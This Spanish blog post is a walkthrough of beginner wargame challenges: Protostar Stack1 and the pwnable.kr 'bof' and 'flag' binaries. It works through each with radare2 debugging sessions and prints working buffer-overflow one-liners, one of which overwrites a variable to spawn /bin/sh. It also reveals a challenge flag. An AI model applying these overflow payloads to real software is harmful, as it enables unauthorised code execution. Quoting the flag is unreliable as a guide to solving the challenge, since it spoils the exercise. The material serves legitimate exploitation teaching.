Pwnable challenges - Buffer Overflow (II)

Publicada en Publicada en Explotación, Reversing

La mayoría de los Exploits son parecido a trucos de magia y en el mundo real los programas o software que ejecutamos a diario en los sistemas, son binarios ya compilados y entendibles por el procesador. Muy pocas veces disponemos del código fuente por ello en los retos que se resolverán en esta serie de entradas realizaremos ingeniería inversa del binario con la tool radare2 en busca de alguna vulnerabilidad para posteriormente explotarlo. Para un hacker comprendiendo bien el funcionamiento de la CPU y examinando la memoria en tiempo de ejecución cuando Debuggeamos, es la forma real de ver e interactuar con una aplicación.

Bajo mi punto de vista la mejor forma de aprender es practicando y recomiendo que hagáis por vosotros mismos los retos sin ayuda de la solución, salvo empezando de cero.

Los retos que haremos serán primero uno básico de la página exploit-exercises.com, y los demás serán todos de pwnable.kr y pwnable.tw al igual que haremos también de root-me.org. Recomiendo la lectura del libro Linux Exploiting de David Puente Castro.

También recomiendo la serie de entradas de introducción a reversing:

Diseccionando binarios - 0x00 Introduccion

Stack1

Este reto es el Stack1 de la VM Protostar. Podéis encontrar más información en la web: https://exploit-exercises.com/protostar/

Código fuente:

#include <stdlib.h>#include <unistd.h>

#include <stdio.h>

#include <string.h>

int main(int argc, char **argv)

{

volatile int modified;

char buffer[64];

if(argc == 1) {

errx(1, "please specify an argument\n");

}

modified = 0;

strcpy(buffer, argv[1]);

if(modified == 0x61626364) {

printf("you have correctly got the variable to the right value\n");

} else {

printf("Try again, you got 0x%08x\n", modified);

}

}

Tenemos un código fuente vulnerable, pero sin saber o disponer de él vamos a realizar Debugging del binario, con radare2. Según este reto es igual que el Stack0, con la diferencia que la variable “modified” debe ser el valor 0x61626364. Analizamos el binario y mostramos las funciones y “Seeking” al Entrypoint.

$ sudo r2 -d stack1

[0x00005230]> aaaa

[x] Analyze all flags starting with sym. and entry0 (aa)

TODO: esil-vm not initialized

[x] Analyze len bytes of instructions for references (aar)

[x] Analyze function calls (aac)

[x] Emulate code to find computed references (aae)

[Cannot find section boundaries in here

[x] Analyze consecutive function (aat)

[x] Constructing a function name for fcn.* and sym.func.* functions (aan)

[x] Type matching analysis for all functions (afta)

= attach 1149 1149

[0x00005230]> afl

0x00001000    1 1                 sym.__mh_execute_header

0x00001e40    6 202           entry0

0x00001f0a    1 6                  sym.imp.__strcpy_chk

0x00001f10    1 6                  sym.imp.errx

0x00001f16    1 6                  sym.imp.printf

[0x00005230]> s entry0

Ahora vamos a ver las Strings del binario, para poder recolectar información.

[0x00001e40]> iz

vaddr=0x00001f46 paddr=0x00000f46 ordinal=000 sz=28 len=27 section=3.__TEXT.__cstring type=ascii string=please specify an argument\n

vaddr=0x00001f62 paddr=0x00000f62 ordinal=001 sz=56 len=55 section=3.__TEXT.__cstring type=ascii string=you have correctly got the variable to the right value\n

vaddr=0x00001f9a paddr=0x00000f9a ordinal=002 sz=27 len=26 section=3.__TEXT.__cstring type=ascii string=Try again, you got 0x%08x\n

Nos interesa saber las dos direcciones primeras, el error que da cuando introducimos un argumento y cuando obtenemos el valor correcto ya que esa será la solución. También nos interesa saber las llamadas que se realizan a funciones, podemos hacerlo grepeando para constatar la información anterior.

[0x00001e40]> pd~call

│           0x00001e46      e800000000       call 0x1e4b

│       │   0x00001e88      e883000000     call sym.imp.errx

│           0x00001eb7      e84e000000         call sym.imp.__strcpy_chk

│       │   0x00001eda      e837000000       call sym.imp.printf         ; int printf(const char *format)

│      │    0x00001efa      e817000000         call sym.imp.printf         ; int printf(const char *format)

Vemos que llama dos veces a imprimir por terminal, llamada a la función errx que imprime por pantalla un mensaje de error previamente formateado y la función strcpy que copia un String origen a un destino.

Tenemos el problema que hay que introducir si o si un argumento, sino siempre va a entrar en la función de error y finaliza el programa.

Si desensamblamos las primeras lineas de la función del Entrypoint, vemos lo que me refiero.

             0x00001e4b      58                                   pop eax

│           0x00001e4c      8b4d0c                      mov ecx, dword [arg_ch]     ; [0xc:4]=-1 ; 12

│           0x00001e4f      8b5508                      mov edx, dword [arg_8h]     ; [0x8:4]=-1 ; 8

│           0x00001e52      c745fc000000.       mov dword [local_4h], 0

│           0x00001e59      8955f8                      mov dword [local_8h], edx

│           0x00001e5c      894df4                       mov dword [local_ch], ecx

│           0x00001e5f      837df801                   cmp dword [local_8h], 1     ; [0x1:4]=-1 ; 1

│           0x00001e63      8945ac                      mov dword [local_54h], eax

│       ┌─< 0x00001e66      0f8524000000   jne 0x1e90

│       │   0x00001e6c      b801000000         mov eax, 1

│       │   0x00001e71      8b4dac                      mov ecx, dword [local_54h]

│       │   0x00001e74      8d91fb000000     lea edx, [ecx + 0xfb]       ; 251

│       │   0x00001e7a      c70424010000.   mov dword [esp], 1

│       │   0x00001e81      89542404             mov dword [local_4h_2], edx

│       │   0x00001e85      8945a8                   mov dword [local_58h], eax

│       │   0x00001e88      e883000000      call sym.imp.errx

│       │   0x00001e8d      8945a4                   mov dword [local_5ch], eax

│       └─> 0x00001e90      b840000000     mov eax, 0x40               ; '@' ; 64

│           0x00001e95      8d4db0                     lea ecx, [local_50h]

El salto condicional JNE salta si no es igual o no es cero (ZF=0). Por tanto si no le pasamos argumentos al binario, no salta ya que es igual a 1 y llamará a la función errx. Se considera uno más los n argumentos, siendo uno el propio nombre del binario.

Si vemos esta instrucción:

0x00001e98      c745f0000000.  mov dword [local_10h], 0

Y luego si vemos esta otra:

0x00001ebc      8b4df0                 mov ecx, dword [local_10h]
0x00001ebf      81f964636261   cmp ecx, 0x61626364

Deducimos que la variable local_10h es “modified” con el valor cero, y luego se mueve a un registro que será comparado con un valor en hexadecimal.

Antes de pasarle el argumento al binario y ejecutar radare2 en modo Debugger, quiero aclarar un poco el código en ASM e ir buscando objetivos claros. Si la variable local_10h, es comparada con un valor en hexadecimal y según el resultado de la comparación el flujo de ejecución se bifurca hacia un print (La solución) y otro print(Resultado erróneo), es interesante para realizar el Buffer Overflow saber donde se encuentra dicha variable en el Stack. Según en él desensamblado la variable local_10h es ebp-0x10, por tanto ya sabemos donde buscar cuando hagamos Debugging en el Stack ya que será clave siendo donde habrá que escribir el valor en hexadecimal (0x61626364) que vemos hardcodeado.

Se valora también esta instrucción implicando mover al registro EAX el valor del buffer. Se deduce esto ya que su valor es el último que se mueve a la variable local local_60h justo antes de la llamada a la función strcpy copiando la String que introducimos al buffer.

0x00001e90      b840000000     mov eax, 0x40               ; '@' ; 64

Con estas dos deducciones vamos a pasarle directamente el argumento y colocaremos un Breakpoint después de la llamada a la función strcpy.

$ sudo r2 -d stack1 AAAAAAAAAAAAAAABBBBBBBBBBBBCCCCCCCCCCCCCBBBBBBBBBBBEEEEEE

[0x00001ec5]> Vpp

[0x00001ec5 200 /Users/n4ivenom/Desktop/Scripts/pwn/stack1]> ?0;f tmp;s.. @ eip

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F                                        0123456789ABCDEF

0xbffffde0  08fe ffbf e1fe ffbf 4000 0000 0643 0100                     ........@....C..

0xbffffdf0  0000 0000 8a59 0300 4000 0000 0010 0000             .....Y..@.......

0xbffffe00  9cfe ffbf 4b1e 0000 4141 4141 4141 4141                 ....K...AAAAAAAA

0xbffffe10  4141 4141 4141 4142 4242 4242 4242 4242             AAAAAAABBBBBBBBB

eax 0xbffffe08      ebx 0xbffffe9c      ecx 0x00000000      edx 0xbffffee1

edi 0x00000000      esi 0x00000000      ebp 0xbffffe58      esp 0xbffffde0

eflags C1PASTI      eip 0x00001ec5

|           ;-- eip:

│           0x00001ec5      89459c         mov dword [local_64h], eax

Observamos en el Stack los valores que le pasamos por argumentos almacenados en él.

[0x00001ebc]> px @ ebp-0x10

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F                                   0123456789ABCDEF

0xbffffe48  0000 0000 8cfe ffbf 0200 0000 0000 0000              ................

0xbffffe58  84fe ffbf 1127 50a7 0200 0000 8cfe ffbf                  …..'P.........

Corroboramos el valor de la variable local inicializada a cero en los cuatro primeros offset.

[0x00001ebc]> px @ eax

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F                                        0123456789ABCDEF

0xbffffe08  4141 4141 4141 4141 4141 4141 4141 4142               AAAAAAAAAAAAAAAB

0xbffffe18  4242 4242 4242 4242 4242 4243 4343 4343              BBBBBBBBBBBCCCCC

0xbffffe28  4343 4343 4343 4343 4242 4242 4242 4242              CCCCCCCCBBBBBBBB

0xbffffe38  4242 4245 4545 4545 4500 0000 0044 0000               BBBEEEEEE....D..

0xbffffe48  0000 0000 8cfe ffbf 0200 0000 0000 0000                  …………….

Y en el registro EAX, el primer offset corresponde el inicio del buffer. Por tanto ya lo tenemos, simplemente tendríamos que pasarle como argumento 16*4+dcba, siendo (4) el número de filas y (dcba) los caracteres del valor hexadecimal (0x61626364), colocándolos al revés como ya vimos en la pasada entrada. Por tanto para pwnear el server por un error o fallo en un binario nos valdría con esta sentencia:

$ ./stack1 $(python -c 'print "A"*64+"\x64\x63\x62\x61"')

you have correctly got the variable to the right value

O si quieren ejecutarlo en local y tienen un OSX, compilamos el binario con esta sentencia:

$ sudo gcc -m32 -fno-stack-protector -g -D_FORTIFY_SOURCE=0 -o stack1 stack1.c

$ ./stack1 $(python -c 'print "A"*64+"\x64\x63\x62\x61"')

you have correctly got the variable to the right value

bof

Bien este es otro buffer overflow más. Haremos este reto bof correspondiente de la web pwnable.kr.

Disponemos del código fuente, pero a partir de este momento no se muestra ya que es preferible analizar el binario haciendo ingeniería inversa con radare2. Comenzamos:

[0x00001f20]> aaaa

[x] Analyze all flags starting with sym. and entry0 (aa)

[x] Analyze len bytes of instructions for references (aar)

[x] Analyze function calls (aac)

[x] Emulate code to find computed references (aae)

[x] Analyze consecutive function (aat)

[x] Constructing a function name for fcn.* and sym.func.* functions (aan)

[x] Type matching analysis for all functions (afta)

[0x00001f20]> afl

0x00001ea0    4 115          sym._func

0x00001f20    1 52           entry0

0x00001f54    1 6            sym.imp.gets

0x00001f5a    1 6            sym.imp.printf

0x00001f60    1 6            sym.imp.system_UNIX2003

[0x00001f20]> s entry0

Observamos las correspondientes llamadas a las funciones siendo una de ellas importante a analizar (sym._func). Vemos las Strings del binario:

[0x00001f20]> iz

vaddr=0x00001f92 paddr=0x00000f92 ordinal=000 sz=15 len=14 section=3.__TEXT.__cstring type=ascii string=overflow me :

vaddr=0x00001fa1 paddr=0x00000fa1 ordinal=001 sz=8 len=7 section=3.__TEXT.__cstring type=ascii string=/bin/sh

vaddr=0x00001fa9 paddr=0x00000fa9 ordinal=002 sz=7 len=6 section=3.__TEXT.__cstring type=ascii string=Nah..\n

El primer string podemos deducir que debemos introducir por teclado una serie de cadena de caracteres, el segundo corresponde a un /bin/bash y la última un mensaje mostrando la negativa de no haber conseguido nada.

Desensamblamos el main que corresponde con el Entry Point:

[0x00001f20]> pdf  ;-- main:

;-- func.00001f20:

┌ (fcn) entry0 52

│   entry0 (int arg_8h, int arg_ch);

│           ; var int local_10h @ ebp-0x10

│           ; var int local_ch @ ebp-0xc

│           ; var int local_8h @ ebp-0x8

│           ; var int local_4h @ ebp-0x4

│           ; arg int arg_8h @ ebp+0x8

│           ; arg int arg_ch @ ebp+0xc

│           0x00001f20      55                               push ebp

│           0x00001f21      89e5                          mov ebp, esp

│           0x00001f23      83ec18                     sub esp, 0x18

│           0x00001f26      8b450c                    mov eax, dword [arg_ch]     ; [0xc:4]=-1 ; 12

│           0x00001f29      8b4d08                   mov ecx, dword [arg_8h]     ; [0x8:4]=-1 ; 8

│           0x00001f2c      baefbeadde            mov edx, 0xdeadbeef

│           0x00001f31      c745fc000000.     mov dword [local_4h], 0

│           0x00001f38      894df8                    mov dword [local_8h], ecx

│           0x00001f3b      8945f4                    mov dword [local_ch], eax

│           0x00001f3e      c70424efbead.     mov dword [esp], 0xdeadbeef ; [0xdeadbeef:4]=-1

│           0x00001f45      8955f0                    mov dword [local_10h], edx

│           0x00001f48      e853ffffff                call sym._func

│           0x00001f4d      31c0                         xor eax, eax

│           0x00001f4f      83c418                    add esp, 0x18

│           0x00001f52      5d                             pop ebp

└           0x00001f53      c3                             ret

Si analizamos detenidamente el desensamblado se mueve el valor de los argumentos a los registros EAX y ECX. Estos argumentos que recibe la función main tiene esta estructura:

int main (int argc, char *argv[]){

  return 0;

}

argc contiene el numero de argumentos que recibe el programa y argv los strings que se le pasa al programa. Un ejemplo sería:

./bof hola tal

En total sería argc= 3 y bof sería argv[0], hola argv[1] y tal argv[2].

El registro EDX contiene un valor hexadecimal hardcodeado que será un argumento que recibirá la función (sym._func). Esto lo deducimos ya que se mueve al ESP y también se mueve a la variable local_10h. Podemos comprobar el valor del registro EDX justo al entrar en la función, para eso tenemos que colocar un breakpoint y debuggear. Podemos situarlo justo en esta instrucción: mov ecx, dword [arg_8h]

Para ello antes debemos situarnos haciendo “Seeking” en la función. Observamos con detenimiento el desensamblado de las primeras instrucciones antes de llamar a la función gets().

; CALL XREF from 0x00001f48 (entry0)

│           0x00001ea0      55                              push ebp                    ; section 0 va=0x00001ea0 pa=0x00000ea0 sz=180 vsz=180 rwx=m-r-x 0.__TEXT.__text

│           0x00001ea1      89e5                          mov ebp, esp

│           0x00001ea3      83ec48                    sub esp, 0x48               ; 'H'

│           0x00001ea6      e800000000        call 0x1eab

│              ; CALL XREF from 0x00001ea6 (sym._func)

│           0x00001eab      58                            pop eax

│           0x00001eac      8b4d08                  mov ecx, dword [arg_8h]     ; [0x8:4]=-1 ; 8

│           0x00001eaf      8d90e7000000     lea edx, [eax + 0xe7]       ; 231

│           0x00001eb5      894dfc                     mov dword [local_4h], ecx

│           0x00001eb8      891424                    mov dword [esp], edx        ; const char * format

│           0x00001ebb      8945d8                    mov dword [local_28h], eax

│           0x00001ebe      e897000000          call sym.imp.printf         ; int printf(const char *format)

│           0x00001ec3      8d4ddc                      lea ecx, [local_24h]

│           0x00001ec6      890c24                     mov dword [esp], ecx        ; char *s

│           0x00001ec9      8945d4                     mov dword [local_2ch], eax

Colocamos un breakpoint donde dije anteriormente y también justo después de la función printf().

[0x00001ea0]> db 0x00001eac

[0x00001ea0]> db 0x00001ec3

[0x00001ea0]> dc

hit breakpoint at: 1eac

Visualizamos con Vpp el Stack y el valor de los registros con el EIP apuntando a la dirección de memoria donde situamos el Breakpoint:

[0x00001ea0 185 /Users/n4ivenom/Desktop/Scripts/pwn/bof]> ?0;f tmp;s.. @ sym._func

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F                                        0123456789ABCDEF

0xbffffe30  0000 0000 8a59 0300 3800 c9ec 0010 0000              .....Y..8.......

0xbffffe40  dcfe ffbf d8fe ffbf 98fe ffbf 2754 0000                           ............'T..

0xbffffe50  0010 0000 0000 0000 0100 0000 d0fe ffbf                  ................

0xbffffe60  d8fe ffbf dcfe ffbf bcfe ffbf 0000 0000                           ................

eax 0x00001eab      ebx 0xbffffedc      ecx 0x00000001      edx 0xdeadbeef

edi 0x00000000      esi 0x00000000      ebp 0xbffffe78      esp 0xbffffe30

Y como dijimos el valor del registro EDX es el valor en hexadecimal que recibía como argumentos la función. Nos interesa saber en la instrucción mencionada anteriormente donde colocamos el breakpoint que es lo que mueve al registro ECX, simplemente tecleando s ejecutamos una instrucción y mueve el valor del argumento que es: 0xdeadbeef. Miramos el Stack:

eax 0x00001eab      ebx 0xbffffedc      ecx 0xdeadbeef      edx 0xdeadbeef edi 0x00000000      esi 0x00000000      ebp 0xbffffe78      esp 0xbffffe30

eflags 1PSTI        eip 0x00001eaf

Y nuestro desensamblado justo en la instrucción donde mueve al registro.

    0x00001eac b    8b4d08         mov ecx, dword [arg_8h]     ; [0x8:4]=-1 ; 8

|    ;-- eip:

0x00001eaf   8d90e7000000   lea edx, [eax + 0xe7]       ; 231

Si queremos saber que corresponde eax+0xe7 hacemos lo siguiente:

[0x00001ea0]> px @ eax + 0xe7

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F                                    0123456789ABCDEF

0x00001f92  6f76 6572 666c 6f77 206d 6520 3a20 002f      overflow me : ./

0x00001fa2  6269 6e2f 7368 004e 6168 2e2e 0a00 0100    bin/sh.Nah……

Siendo la sección text de las Strings:

[0x00001ea0]> S=

00* 0x00001ea0 |##############################-------------------------| 0x00001f54   180 mr-x  0.__TEXT.__text

01  0x00001f54 |------------------------------###----------------------| 0x00001f66    18 mr-x  1.__TEXT.__symbol_stub

02  0x00001f68 |---------------------------------########--------------| 0x00001f92    42 mr-x  2.__TEXT.__stub_helper

03  0x00001f92 |----------------------------------------######---------| 0x00001fb0    30 mr-x  3.__TEXT.__cstring

Por tanto moverá la dirección de memoria correspondiente: 0x00001f92 y no el valor ya que la instrucción en assembly es un LEA y no un MOV. Ejecutamos una instrucción nuevamente y vemos el Stack:

eax 0x00001eab      ebx 0xbffffedc      ecx 0xdeadbeef      edx 0x00001f92  edi 0x00000000      esi 0x00000000      ebp 0xbffffe78      esp 0xbffffe30

eflags 1PSTI        eip 0x00001eb5

Es interesante al Debuggear, estar pendiente en todo momento de los valores del Stack. En las dos siguientes instrucciones la variable local_4h va a corresponder al valor en hexadecimal (0xdeadbeef), y en el registro ESP su valor o contenido será justamente la dirección de memoria donde comienza la String (overflow):

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F                                          0123456789ABCDEF

0xbffffe30  921f 0000 8a59 0300 3800 c9ec 0010 0000                 .....Y..8.......

0xbffffe40  dcfe ffbf d8fe ffbf 98fe ffbf 2754 0000                              ............'T..

0xbffffe50  0010 0000 0000 0000 0100 0000 d0fe ffbf                    ................

0xbffffe60  d8fe ffbf dcfe ffbf bcfe ffbf 0000 0000                             ................

eax 0x00001eab      ebx 0xbffffedc      ecx 0xdeadbeef      edx 0x00001f92

edi 0x00000000      esi 0x00000000      ebp 0xbffffe78      esp 0xbffffe30

Hacemos un inciso de donde esta el EIP en el proceso de ejecución del programa:

;-- eip:
0x00001ebb      8945d8               mov dword [local_28h], eax
0x00001ebe      e897000000     call sym.imp.printf         ;[2] ; int printf(const char *format)

De momento hitos importantes resueltos antes de la llamada a la función printf():

  • Sabemos que el ESP en el Stack contiene la dirección de memoria que apunta a la String (overflow).
  • La variable local_4h contiene el valor hexadecimal 0xdeadbeef.
  • Y la dirección de memoria que contiene el registro EAX, será movido a la variable local_28h que será el argumento correspondiente a la función printf().

Para no entrar en la función printf(), con dc nos situamos en el siguiente breakpoint que pusimos.  Si nos entra curiosidad de que es lo que contiene la variable local_24h:

;-- eip:
0x00001ec3 b    8d4ddc         lea ecx, [local_24h]

Podríamos verlo en el hexdump de radare2:

[0x00001ea0]> px @ebp-0x24

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F                                     0123456789ABCDEF

0xbffffe54  0000 0000 0100 0000 d0fe ffbf d8fe ffbf                      ................

0xbffffe64  dcfe ffbf bcfe ffbf 0000 0000 0000 0000                       ................

0xbffffe74  efbe adde 98fe ffbf 4d1f 0000 efbe adde                      ........M.......

0xbffffe84  0044 0000 efbe adde d0fe ffbf 0100 0000                    .D..............

Ejecutamos la instrucción y vemos como el registro ECX contiene la dirección de memoria resaltada.

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F                                          0123456789ABCDEF

0xbffffe30  921f 0000 8a59 0300 3800 c9ec 0010 0000                     .....Y..8.......

0xbffffe40  dcfe ffbf d8fe ffbf 98fe ffbf 2754 0000                                ............'T..

0xbffffe50  ab1e 0000 0000 0000 0100 0000 d0fe ffbf                       ................

0xbffffe60  d8fe ffbf dcfe ffbf bcfe ffbf 0000 0000                               ................

eax 0x0000000e      ebx 0xbffffedc      ecx 0xbffffe54      edx 0x00012868

edi 0x00000000      esi 0x00000000      ebp 0xbffffe78      esp 0xbffffe30

eflags 1STI         eip 0x00001ec6

Al colocar un Breakpoint después de la llamada a la función gets(), nos pide que introduzcamos por teclado una cadena de caracteres:

[0x00001e9c]> db 0x00001ed1

[0x00001e9c]> dc

warning: this program uses gets(), which is unsafe.

overflow me : AAAAAAAAAAABBBBBBBBBBBCCCCCCCCCCCCCCDDDD

hit breakpoint at: 1ed1

Visualizamos con Vpp y apreciamos como el registro EAX ahora vale lo que valía ECX antes de entrar en la función en el offset 4 y mirando al Stack deducimos que es el comienzo del array donde almacena la cadena de caracteres que recoge gets().

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F                                          0123456789ABCDEF

0xbffffe30  54fe ffbf 8a59 0300 1b00 3db6 0010 0000                       T....Y....=.....

0xbffffe40  dcfe ffbf d8fe ffbf 98fe ffbf 0e00 0000                                 ................

0xbffffe50  ab1e 0000 4141 4141 4141 4141 4141 4142                    ....AAAAAAAAAAAB

0xbffffe60  4242 4242 4242 4242 4242 4343 4343 4343                   BBBBBBBBBBCCCCCC

eax 0xbffffe54      ebx 0xbffffedc      ecx 0xa9a9a1f0      edx 0x00012068

edi 0x00000000      esi 0x00000000      ebp 0xbffffe78      esp 0xbffffe30

eflags 1SI          eip 0x00001ed1

En la siguiente instrucción va a comparar un valor hexadecimal, distinto al que vimos con anterioridad, con la variable local_4h. Si no nos acordamos de cuanto valía siempre podemos ver el hexdump:

[0x00001ea0]> px @ebp-0x4

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F                                  0123456789ABCDEF

0xbffffe74  4343 4343 4444 4444 001f 0000 efbe adde      CCCCDDDD........

0xbffffe84  0044 0000 efbe adde d0fe ffbf 0100 0000          .D…………..

Bueno observamos que ha sido sobreescrita con lo introducido por teclado y eso es buena señal, ya que si hay una comparación del valor hexadecimal (0xcafebabe) y el contenido de la variable local_4h(0xdeadbeef) activará la eflag y según el tipo de salto realizado, el flujo de ejecución cambiará a una dirección de memoria dado o seguirá su curso. Es un salto condicional JNE que saltará si no es igual o no es cero (ZF=0) y viendo el desensamblado para que obtengamos el /bin/sh no tiene que saltar, por tanto iguales los valores.

Si nos vamos a la parte superior del Stack, podemos ver en conjunto nuestros caracteres introducidos.

[0x00001ea0]> px @esp

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F                                    0123456789ABCDEF

0xbffffe30  54fe ffbf 8a59 0300 1b00 3db6 0010 0000                 T....Y....=.....

0xbffffe40  dcfe ffbf d8fe ffbf 98fe ffbf 0e00 0000                            ................

0xbffffe50  ab1e 0000 4141 4141 4141 4141 4141 4142             ....AAAAAAAAAAAB

0xbffffe60  4242 4242 4242 4242 4242 4343 4343 4343              BBBBBBBBBBCCCCCC

0xbffffe70  4343 4343 4343 4343 4444 4444 001f 0000               CCCCCCCCDDDD....

0xbffffe80  efbe adde 0044 0000 efbe adde d0fe ffbf                     …..D..........

Entonces tenemos que desde la dirección de memoria 0xbffffe54 hasta 0xbffffe73 podemos rellenar con los caracteres que queramos, excepto desde el offset 0xbffffe74 que tienen que ser en hexadecimal comenzando por (be): 0xcafebabe.

Como ya vimos tiene que ser en little-endian (bebafeca), y tenemos que en la primera fila son 12 caracteres ASCII+16+4 = 32. Siendo 32*A o cualquier carácter que queramos.

La solución del reto sería esta, devolviéndonos un /bin/sh:

$ (python -c "print 32*'A'+'\xbe\xba\xfe\xca'";cat) | ./bof

warning: this program uses gets(), which is unsafe.

whoami

n4ivenom

flag

Este binario esta comprimido con UPX Packet, por tanto omito el proceso de unpacking aunque es sencillo simplemente es descargarlo de la página web https://upx.github.io

Comprobamos que esta empacado con Strings:

$ strings flag.dms | grep "upx"

Info: This file is packed with the UPX executable packer http://upx.sf.net

Una vez desempacado visualizamos con iz las Strings grepeando por el término “flag”.

[0x00401058]> iz~flag

vaddr=0x00496658 paddr=0x00096658 ordinal=001 sz=52 len=51 section=.rodata type=ascii string=I will malloc() and strcpy the flag there. take it.

vaddr=0x0049b87c paddr=0x0009b87c ordinal=252 sz=15 len=14 section=.rodata type=ascii string=s->_flags2 & 4

vaddr=0x0049fc00 paddr=0x0009fc00 ordinal=425 sz=93 len=92 section=.rodata type=ascii string=version == ((void *)0) || (flags & ~(DL_LOOKUP_ADD_DEPENDENCY | DL_LOOKUP_GSCOPE_LOCK)) == 0

vaddr=0x004b2ee0 paddr=0x000b2ee0 ordinal=1118 sz=65 len=64 section=.rodata type=ascii string=imap->l_type == lt_loaded && (imap->l_flags_1 & 0x00000008) == 0

Nos dan una pista de las funciones malloc() y strcpy(). Pero antes con afl listamos las funciones y hacemos “Seeking” a la función main.

[0x00401058]> px @0x00496658

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F                                          0123456789ABCDEF

0x00496658  4920 7769 6c6c 206d 616c 6c6f 6328 2920          I will malloc()

0x00496668  616e 6420 7374 7263 7079 2074 6865 2066       and strcpy the f

0x00496678  6c61 6720 7468 6572 652e 2074 616b 6520         lag there. take

0x00496688  6974 2e00 4641 5441 4c3a 206b 6572 6e65          it..FATAL: kerne

[0x00401058]> s 0x00401164

[0x00401164]> pdf

;-- main:

┌ (fcn) sym.main 61

│   sym.main ();

│           ; var int local_8h @ rbp-0x8

│              ; DATA XREF from 0x00401075 (entry0)

│           0x00401164      55                           push rbp

│           0x00401165      4889e5                mov rbp, rsp

│           0x00401168      4883ec10           sub rsp, 0x10

│           0x0040116c      bf58664900      mov edi, str.I_will_malloc___and_strcpy_the_flag_there._take_it. ; 0x496658 ; "I will malloc() and strcpy the flag there. take it."

│           0x00401171      e80a0f0000       call sym.puts               ; int puts(const char *s)

│           0x00401176      bf64000000     mov edi, 0x64               ; 'd' ; 100

│           0x0040117b      e850880000     call sym.malloc             ; sym.malloc_atfork-0x230 ;  void *malloc(size_t size)

│           0x00401180      488945f8            mov qword [local_8h], rax

│           0x00401184      488b15e50e2c.  mov rdx, qword obj.flag     ; [0x6c2070:8]=0x496628 str.UPX...__sounds_like_a_delivery_service_:_ ; "(fI"

│           0x0040118b      488b45f8            mov rax, qword [local_8h]

│           0x0040118f      4889d6                 mov rsi, rdx

│           0x00401192      4889c7                 mov rdi, rax

│           0x00401195      e886f1ffff              call sub.ifunc_40c050_320

│           0x0040119a      b800000000     mov eax, 0

│           0x0040119f      c9                              leave

└           0x004011a0      c3                             ret

Visualizamos la String en la sección .data y obtenemos la flag.

[0x00401164]> px @str.UPX...__sounds_like_a_delivery_service_:_ ;

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F                                        0123456789ABCDEF

0x00496628  5550 582e 2e2e 3f20 736f 756e 6473 206c          UPX...? sounds l

0x00496638  696b 6520 6120 6465 6c69 7665 7279 2073      ike a delivery s

0x00496648  6572 7669 6365 203a 2900 0000 0000 0000    ervice :).......

0x00496658  4920 7769 6c6c 206d 616c 6c6f 6328 2920         I will malloc()

0x00496668  616e 6420 7374 7263 7079 2074 6865 2066      and strcpy the f

0x00496678  6c61 6720 7468 6572 652e 2074 616b 6520        lag there. take

0x00496688  6974 2e00 4641 5441 4c3a 206b 6572 6e65        it..FATAL: kerne

Si grepeamos directamente obtenemos la flag también.

[0x00401164]> iz~UPX

UPX...? sounds like a delivery service 🙂

Primera entrada de referencia:

Pwnable challenges (I)

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *